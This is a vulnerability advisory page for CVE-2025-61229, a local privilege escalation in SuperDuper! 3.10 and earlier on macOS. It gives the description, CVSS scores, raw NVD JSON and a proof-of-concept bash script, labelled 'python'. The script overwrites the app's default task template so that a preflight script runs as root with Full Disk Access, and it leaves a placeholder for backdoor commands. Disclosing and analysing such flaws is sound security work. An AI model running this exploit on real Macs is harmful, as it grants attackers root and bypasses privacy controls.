Security Vulnerability Report
中文
CVE-2025-61229 CVSS 7.8 HIGH

CVE-2025-61229

Published: 2025-12-01 16:15:55
Last Modified: 2025-12-08 16:15:52

Description

An issue in Shirt Pocket's SuperDuper! 3.10 and earlier allow a local attacker to modify the default task template to execute an arbitrary preflight script with root privileges and Full Disk Access, thus bypassing macOS privacy controls.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:shirt-pocket:superduper\!:*:*:*:*:*:*:*:* - VULNERABLE
SuperDuper! <= 3.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2025-61229 PoC - SuperDuper! Local Privilege Escalation # This PoC demonstrates modifying the default task template to execute arbitrary preflight script # Configuration SUPERDUPER_APP_PATH="/Applications/SuperDuper!.app" TEMPLATE_FILE="$HOME/Library/Application Support/SuperDuper!/Default Template.xml" MALICIOUS_SCRIPT="/tmp/privesc_script.sh" # Create malicious preflight script cat > "$MALICIOUS_SCRIPT" << 'EOF' #!/bin/bash # Malicious preflight script - executes with root privileges # This script will run with Full Disk Access echo "[+] PoC: Executing arbitrary code as root" >> /tmp/poc_log.txt id >> /tmp/poc_log.txt # Add your malicious commands here # Example: Create backdoor user or modify system files EOF chmod +x "$MALICIOUS_SCRIPT" # Backup original template if exists if [ -f "$TEMPLATE_FILE" ]; then cp "$TEMPLATE_FILE" "$TEMPLATE_FILE.bak" fi # Modify the task template to point to our malicious script # The template XML contains a preflightScript element that we need to modify cat > "$TEMPLATE_FILE" << 'TEMPLATE' <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>preflightScript</key> <string>/tmp/privesc_script.sh</string> <key>taskName</key> <string>Default Backup</string> </dict> </plist> TEMPLATE echo "[+] Template modified. When SuperDuper! runs, the malicious script will execute as root." echo "[+] Check /tmp/poc_log.txt for evidence of root execution."

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61229", "sourceIdentifier": "[email protected]", "published": "2025-12-01T16:15:55.167", "lastModified": "2025-12-08T16:15:52.487", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue in Shirt Pocket's SuperDuper! 3.10 and earlier allow a local attacker to modify the default task template to execute an arbitrary preflight script with root privileges and Full Disk Access, thus bypassing macOS privacy controls."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-276"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:shirt-pocket:superduper\\!:*:*:*:*:*:*:*:*", "versionEndIncluding": "3.10", "matchCriteriaId": "1DA1ADFA-22EF-48D4-B54A-B6504AC8BA04"}]}]}], "references": [{"url": "http://shirt.com", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://shirt-pocket.com/SuperDuper/SuperDuperDescription.html", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.shirtpocket.com/blog/index.php/shadedgrey/comments/superduper_security_update_v311/", "source": "[email protected]", "tags": ["Release Notes"]}]}}